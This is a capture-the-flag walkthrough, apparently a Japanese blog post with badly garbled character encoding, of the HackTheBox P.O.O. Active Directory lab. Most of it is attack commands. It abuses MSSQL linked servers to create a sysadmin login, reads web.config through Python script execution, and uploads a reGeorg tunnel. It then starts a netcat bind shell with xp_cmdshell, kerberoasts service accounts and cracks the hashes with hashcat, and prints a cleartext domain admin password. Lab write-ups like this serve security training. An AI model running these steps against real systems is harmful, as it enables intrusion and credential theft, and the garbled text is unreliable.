ãã®èšäºã§ã¯ãè»ã ãã§ãªããHackTheBoxãµã€ãã®ããã©ãå
šäœã®éè·¯ãåæããŸãã説æã§è¿°ã¹ãããã«ãPOOã¯å°èŠæš¡ãªActive Directoryç°å¢ã§æ»æã®ãã¹ãŠã®æ®µéã§ã¹ãã«ããã¹ãããããã«èšèšãããŠããŸããç®æšã¯ã5ã€ã®ãã©ã°ãåéããªãããå©çšå¯èœãªãã¹ããå±éºã«ããããç¹æš©ãå¢ãããæçµçã«ãã¡ã€ã³å
šäœãå±éºã«ãããããšã§ããå®éšå®€ãžã®æ¥ç¶ã¯VPNçµç±ã§ããæ
å ±ã»ãã¥ãªãã£ã®åéã§äœããç¥ã£ãŠãã人ãšãã©ã€ããŒããããã¯ãŒã¯ã«å
¥ãã®ã§ãä»äºçšã®ã³ã³ãã¥ãŒã¿ãŒããéèŠãªããŒã¿ãå©çšã§ãããã¹ãããæ¥ç¶ããªãããšããå§ãããŸããçµç¹æ
å ±, ,
Telegram . , ,
.
. , - , .
ã¯ããã«
ãã®ãšã³ãã²ãŒã ã¯2ã€ã®ãã·ã³ã§æ§æããã5ã€ã®ãã©ã°ãå«ãŸããŠããŸãã
䜿çšå¯èœãªãã¹ãã®èª¬æãšã¢ãã¬ã¹ã衚瀺ãããŸãã
å§ããŸãããïŒåµå¯ãã©ã°
ãã®ãã·ã³ã®IPã¢ãã¬ã¹ã¯10.13.38.11ã§ã/ etc / hostsã«è¿œå ããŸãã10.13.38.11 poo.htb
ãŸããéããŠããããŒããã¹ãã£ã³ããŸããnmapã§ãã¹ãŠã®ããŒããã¹ãã£ã³ããã«ã¯æéãããããããæåã«masscanã§ãããå®è¡ããŸããtun0ã€ã³ã¿ãŒãã§ãŒã¹ãããã¹ãŠã®TCPããã³UDPããŒããæ¯ç§500ãã±ããã®é床ã§ã¹ãã£ã³ããŸããsudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
ããã§ãããŒãã§åäœãããµãŒãã¹ã®è©³çްã«ã€ããŠã¯ã-Aãªãã·ã§ã³ãæå®ããŠã¹ãã£ã³ãå®è¡ããŸããnmap -A poo.htb -p80,1433
ãããã£ãŠãIISãšMSSQLããããŸãããã®å Žåããã¡ã€ã³ãšã³ã³ãã¥ãŒã¿ãŒã®å®éã®DNSåãããããŸããWebãµãŒããŒã§ã¯ãIISããŒã ããŒãžã衚瀺ãããŸãã
ãã£ã¬ã¯ããªãèŠãŠãããŸããããç§ã¯ããã«gobusterã䜿çšããŸãããã©ã¡ãŒã¿ã«ã¯ã128ïŒ-tïŒãURLïŒ-uïŒããã£ã¯ã·ã§ããªïŒ-wïŒãããã³é¢å¿ã®ããæ¡åŒµæ©èœïŒ-xïŒã®ã¹ããªãŒã æ°ã瀺ããŸããgobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
ãããã£ãŠã/ adminãã£ã¬ã¯ããªã®HTTPèªèšŒãšãå©çšå¯èœãªãã¹ã¯ããããµãŒãã¹ãªããžããªãã¡ã€ã«.DS_StoreããããŸãã .DS_Store-ãã¡ã€ã«ã®ãªã¹ããã¢ã€ã³ã³ã®å Žæãéžæããèæ¯ç»åãªã©ããã©ã«ããŒã®ãŠãŒã¶ãŒèšå®ãä¿åãããã¡ã€ã«ã§ãããã®ãããªãã¡ã€ã«ã¯ãWebéçºè
ã®WebãµãŒããŒãã£ã¬ã¯ããªã«åé¡ãããå ŽåããããŸãããããã£ãŠããã£ã¬ã¯ããªã®å
容ã«é¢ããæ
å ±ãååŸããŸããããã«ã¯DS_Storeã¯ããŒã©ãŒã䜿çšã§ããŸããpython3 dsstore_crawler.py -i http://poo.htb/
ãã£ã¬ã¯ããªã®å
容ãååŸããŸããããã§æãè峿·±ãã®ã¯/ devãã£ã¬ã¯ããªã§ãããã®ãã£ã¬ã¯ããªããã2ã€ã®ãã©ã³ãã§ãœãŒã¹ãã¡ã€ã«ãšdbãã¡ã€ã«ã確èªã§ããŸãããã ãããµãŒãã¹ãIIS ShortNameã«å¯ŸããŠè匱ã§ããå Žåããã¡ã€ã«ãšãã£ã¬ã¯ããªã®ååã®æåã®6æåã䜿çšã§ããŸãããã®è匱æ§ããã§ãã¯ããã«ã¯ãIISã·ã§ãŒãããŒã ã¹ãã£ããŒã䜿çšããŸãã
ãããŠããpoo_coãã§å§ãŸã1ã€ã®ããã¹ããã¡ã€ã«ã«ç§»åããŸããæ¬¡ã«äœããã¹ããããããªãã®ã§ããã£ã¬ã¯ããªèŸæžãããcoãã§å§ãŸããã¹ãŠã®åèªãéžæããŸãããcat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
ãããŠãwfuzzãå埩åŠçããŸããwfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
ãããŠç§ãã¡ã¯æ£ããèšèãèŠã€ããŸãïŒãã®ãã¡ã€ã«ãèŠãŠãè³æ Œæ
å ±ãä¿åããŸãïŒDBNAMEãã©ã¡ãŒã¿ãŒã§å€æãããšãMSSQLããã®ãã®ã§ãïŒã
æãæž¡ãã20ïŒ
åé²ããŸãã
ããŒãã©ã°
MSSQLã«æ¥ç¶ããŠããŸããDBeaverã䜿çšããŠããŸãã
ãã®ããŒã¿ããŒã¹ã«è峿·±ããã®ã¯ãããŸãããSQLãšãã£ã¿ãŒãäœæããŠããŠãŒã¶ãŒãäœã§ãããã確èªããŸããããSELECT name FROM master..syslogins;
2人ã®ãŠãŒã¶ãŒãããŸããæš©éã確èªããŠã¿ãŸããããSELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
ãããã£ãŠãç¹æš©ã¯ãããŸãããããã§è©³çްã«èšè¿°ãããã®ææ³ã«ã€ããŠãé¢é£ãããµãŒããŒãèŠãŠã¿ãŸããããSELECT * FROM master..sysservers;
ããã§ãå¥ã®SQL ServerãèŠã€ããŸããopenqueryïŒïŒã䜿çšããŠããã®ãµãŒããŒã§ã®ã³ãã³ãã®å®è¡ã確èªããŠã¿ãŸããããSELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
ãŸããã¯ãšãªããªãŒãæ§ç¯ããããšãã§ããŸããSELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
å®éããªã³ã¯ãµãŒããŒãžã®ãªã¯ãšã¹ããå®è¡ãããšããã®ãªã¯ãšã¹ãã¯å¥ã®ãŠãŒã¶ãŒã®ã³ã³ããã¹ãã§å®è¡ãããŸãããªã³ã¯ãµãŒããŒã§äœæ¥ããŠãããŠãŒã¶ãŒã®ã³ã³ããã¹ããèŠãŠã¿ãŸããããSELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
次ã«ããªã³ã¯ãµãŒããŒããç§ãã¡ãžã®ãªã¯ãšã¹ããã©ã®ãããªã³ã³ããã¹ãã§å®è¡ãããããèŠãŠã¿ãŸãããïŒSELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
ãããã£ãŠãããã¯ãã¹ãŠã®ç¹æš©ãæã€å¿
èŠãããDBOã³ã³ããã¹ãã§ãããªã³ã¯ãµãŒããŒãããªã¯ãšã¹ãããã£ãå Žåã®æš©éã確èªããŸããããSELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
ã芧ã®ãšãããç§ãã¡ã¯ãã¹ãŠã®ç¹æš©ãæã£ãŠããŸãïŒãã®æ¹æ³ã§ç®¡çè
ãäœæããŸãããããããã圌ãã¯openqueryãéããŠãããèš±å¯ããŸãããEXECUTE ATãéããŠãããããŸããããEXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
ããã§ãæ°ãããŠãŒã¶ãŒã®è³æ Œæ
å ±ã«æ¥ç¶ãããŸãããæ°ãããã©ã°ããŒã¿ããŒã¹ã確èªããŸãã
ãã®æãæž¡ããŠå
ã«é²ã¿ãŸãã
ããã¯ãã©ãã¯ãã©ã°
MSSQLã䜿çšããŠã·ã§ã«ãååŸããŸããç§ã¯ãimpacketããã±ãŒãžã®mssqlclientã䜿çšããŸããmssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
ãã¹ã¯ãŒããååŸããå¿
èŠããããŸããæåã«åºäŒã£ãã®ã¯ãµã€ãã§ãããããã£ãŠãWebãµãŒããŒã®æ§æãå¿
èŠã§ãïŒäŸ¿å©ãªã·ã§ã«ãã¹ããŒããããšã¯äžå¯èœã§ãããã¡ã€ã¢ãŠã©ãŒã«ãæ©èœããŠããããã§ãïŒã
ããããã¢ã¯ã»ã¹ã¯æåŠãããŸããMSSQLãããã¡ã€ã«ãèªã¿åãããšã¯ã§ããŸãããæ§æãããŠããããã°ã©ãã³ã°èšèªãç¥ã£ãŠããã°ååã§ãããããŠãMSSQLãã£ã¬ã¯ããªã§ãPythonãšã¯äœãã調ã¹ãŸãã
次ã«ãåé¡ããªãweb.configãã¡ã€ã«ãèªã¿åããŸããEXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
èªèšŒæ
å ±ãèŠã€ãã£ããã/ adminã«ç§»åããŠãã©ã°ãååŸããŸãã

ã¹ã ãŒãºãã©ã°
å®éããã¡ã€ã¢ãŠã©ãŒã«ã®äœ¿çšã«ã¯ããã€ãã®äžäŸ¿ããããŸããããããã¯ãŒã¯èšå®ãèŠããšãIPv6ãã³ã¯ãã£ã䜿çšãããŠããããšãããããŸãã
ãã®ã¢ãã¬ã¹ã/ etc / hostsã«è¿œå ããŸããdead:babe::1001 poo6.htb
ãã¹ããããäžåºŠã¹ãã£ã³ããŸãããIPv6ã䜿çšããŸãã
ãŸããIPv6ãä»ããŠãWinRMãµãŒãã¹ãå©çšã§ããŸããèŠã€ãã£ãè³æ Œæ
å ±ã§æ¥ç¶ããŸãã
ãã¹ã¯ãããã«æãããããæž¡ãããŸãã
P00nedãã©ã°
ãŠã€ã³ãã¢
ã䜿ã£ããã¹ãã®åµå¯ã®åŸãç¹å¥ãªããšã¯äœãèŠã€ãããŸããããã®åŸãè³æ Œæ
å ±ãããäžåºŠæ¢ãããšã«ããŸããïŒãã®ãããã¯ã«é¢ããèšäºãæžããŸããïŒãããããWinRMãä»ããŠã·ã¹ãã ãããã¹ãŠã®SPNãååŸããããšã¯ã§ããŸããã§ãããsetspn.exe -T intranet.poo -Q */*
MSSQLãä»ããŠã³ãã³ããå®è¡ããŠã¿ãŸãããã
ãã®ããã«ããŠããŠãŒã¶ãŒp00_hrããã³p00_admã®SPNãååŸããŸããããã¯ããããã®ãŠãŒã¶ãŒãKerberoastingãªã©ã®æ»æã«å¯ŸããŠè匱ã§ããããšãæå³ããŸããã€ãŸãããã¹ã¯ãŒãã®ããã·ã¥ãååŸã§ããŸãããŸããMSSQLãŠãŒã¶ãŒã«ä»£ãã£ãŠå®å®ããã·ã§ã«ãååŸããå¿
èŠããããŸãããã ããã¢ã¯ã»ã¹ãå¶éãããŠãããããããŒã80ãš1433ãä»ããŠã®ã¿ãã¹ãã«ã¢ã¯ã»ã¹ã§ããŸããããããããŒã80ãä»ããŠãã©ãã£ãã¯ããã³ãã«ããããšã¯å¯èœã§ãããããè¡ãã«ã¯ã次ã®ã¢ããªã±ãŒã·ã§ã³ã䜿çšããŸãã tunnel.aspxãã¡ã€ã«ãWebãµãŒããŒã®ããŒã ãã£ã¬ã¯ããª-CïŒ\ inetpub \ wwwroot \ã«ããŠã³ããŒãããŸãã
ããããã¢ã¯ã»ã¹ããããšãããšããšã©ãŒ404ãçºçããŸããããã¯ã* .aspxãã¡ã€ã«ãå®è¡ãããªãããšãæå³ããŸãããããã®æ¡åŒµåãæã€ãã¡ã€ã«ã®å®è¡ãéå§ããã«ã¯ã次ã®ããã«ASP.NET 4.5ãã€ã³ã¹ããŒã«ããŸããdism /online /enable-feature /all /featurename:IIS-ASPNET45

ãããŠãtunnel.aspxã«ã¢ã¯ã»ã¹ãããšããã¹ãŠã®æºåãã§ããŠãããšããçããåŸãããŸãã
ãã©ãã£ãã¯ã®äžç¶ãåŠçããã¢ããªã±ãŒã·ã§ã³ã®ã¯ã©ã€ã¢ã³ãéšåãèµ·åããŠã¿ãŸãããããã¹ãŠã®ãã©ãã£ãã¯ãããŒã5432ãããµãŒããŒã«ãªãã€ã¬ã¯ãããŸããpython ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
ãŸãããããã·ãã§ãŒã³ã䜿çšããŠããããã·çµç±ã§ã¢ããªã±ãŒã·ã§ã³ã«ãã©ãã£ãã¯ãéä¿¡ããŸãããã®ãããã·ãæ§æãã¡ã€ã«/etc/proxychains.confã«è¿œå ããŸãã
次ã«ãå®å®ãããã€ã³ãã·ã§ã«ãäœæããnetcatããã°ã©ã ããµãŒããŒã«ã¢ããããŒãããã±ã«ããã¹ãã£ã³ã°æ»æãå®è¡ããInvoke-Kerberoastã¹ã¯ãªãããã¢ããããŒãããŸãã
次ã«ãMSSQLã䜿çšããŠãªã¹ããŒãèµ·åããŸããxp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
ãããŠããããã·çµç±ã§æ¥ç¶ããŸããproxychains rlwrap nc poo.htb 4321
ãããŠãããã·ã¥ãååŸããŸãããã. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
次ã«ããããã®ããã·ã¥ãäžŠã¹æ¿ããå¿
èŠããããŸãã rockyouèŸæžã«ã¯ãã¹ã¯ãŒãããŒã¿ããªãã£ãã®ã§ãSeclistsãæäŸãããã¹ãŠã®ãã¹ã¯ãŒãèŸæžã䜿çšããŸãããæ€çŽ¢ã«ã¯ããã·ã¥ãã£ããã䜿çšããŸããhashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
ãŸããäž¡æ¹ã®ãã¹ã¯ãŒããèŠã€ãããŸãã1ã€ç®ã¯èŸæždutch_passwordlist.txtã«ããã2ã€ç®ã¯Keyboard-Combinations.txtã«ãããŸãã
3人ã®ãŠãŒã¶ãŒãããã®ã§ããã¡ã€ã³ã³ã³ãããŒã©ãŒã«ç§»åããŸãããŸãã圌ã®äœæã調ã¹ãŸãã
OKããã¡ã€ã³ã³ã³ãããŒã©ã®IPã¢ãã¬ã¹ãèŠã€ããŸããããã¡ã€ã³ã®ãã¹ãŠã®ãŠãŒã¶ãŒãšãã©ã®ãŠãŒã¶ãŒã管çè
ã§ãããã調ã¹ãŠã¿ãŸããããã¹ã¯ãªãããããŠã³ããŒãããŠãPowerView.ps1ã®æ
å ±ãååŸããŸããæ¬¡ã«ã-sãã©ã¡ãŒã¿ã®ã¹ã¯ãªããã§ãã£ã¬ã¯ããªãæå®ããŠãevil-winrmã䜿çšããŠæ¥ç¶ããŸããæ¬¡ã«ãPowerViewã¹ã¯ãªãããããŒãããŸãã
ããã§ããã¹ãŠã®æ©èœã䜿çšã§ããããã«ãªããŸããããŠãŒã¶ãŒp00_admã¯ç¹æš©ãŠãŒã¶ãŒã®ããã«èŠããããããã®ã³ã³ããã¹ãã§äœæ¥ããŸãããã®ãŠãŒã¶ãŒã®PSCredentialãªããžã§ã¯ããäœæããŸãã$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
ããã§ãCredsãæå®ãããã¹ãŠã®Powershellã³ãã³ããp00_admã®ä»£ããã«å®è¡ãããŸãããŠãŒã¶ãŒãšAdminCount屿§ããªã¹ãããŸããããGet-NetUser -DomainController dc -Credential $Creds | select name,admincount
ãã®ããããŠãŒã¶ãŒã«ã¯æ¬åœã«ç¹æš©ããããŸãããããæ§æãããŠããã°ã«ãŒããèŠãŠã¿ãŸããããGet-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
ãŠãŒã¶ãŒããã¡ã€ã³ç®¡çè
ã§ããããšã確èªããŸããããã«ããããã¡ã€ã³ã³ã³ãããŒã©ãŒã«ãªã¢ãŒããã°ã€ã³ããæš©å©ã圌ã«äžããããŸãããã³ãã«ã䜿çšããŠWinRMããå
¥åããŠã¿ãŸãããã evil-winrmã䜿çšããŠãããšãã«reGeorgã«ãã£ãŠçæããããšã©ãŒã«æ··ä¹±ããŸããã
次ã«ãå¥ã®ç°¡åãªã¹ã¯ãªããã䜿çšããŠWinRMã«æ¥ç¶ããŸããæ¥ç¶ã®ãã©ã¡ãŒã¿ãéããŠå€æŽããŸãã
æ¥ç¶ããããšããŠããŸãããã·ã¹ãã å
ã«ããŸãã
ãããããã©ã°ã¯ãããŸãããæ¬¡ã«ããŠãŒã¶ãŒãèŠãŠããã¹ã¯ãããã確èªããŸãã
mr3ksã§ãã©ã°ãèŠã€ããã©ãã¯100ïŒ
åæ Œã§ãã
ããã§å
šéšã§ãããã£ãŒãããã¯ãšããŠããã®èšäºããäœãæ°ããããšãåŠãã ãã©ããããããããªãã«ãšã£ãŠæçšã ã£ããã©ããã«ã€ããŠã³ã¡ã³ãããŠãã ããããã¬ã°ã©ã ã«åå ã§ããŸããè峿·±ãè³æãçµ±åãããã³ãŒã¹ããœãããŠã§ã¢ãèŠã€ããããšãã§ããŸããITã®å€ãã®åéã«ç²ŸéããŠãã人ã
ãéãŸãã³ãã¥ããã£ããŸãšããŸããããããããã°ãITãšæ
å ±ã»ãã¥ãªãã£ã®åé¡ã«ã€ããŠåžžã«äºãã«å©ãåãããšãã§ããŸãã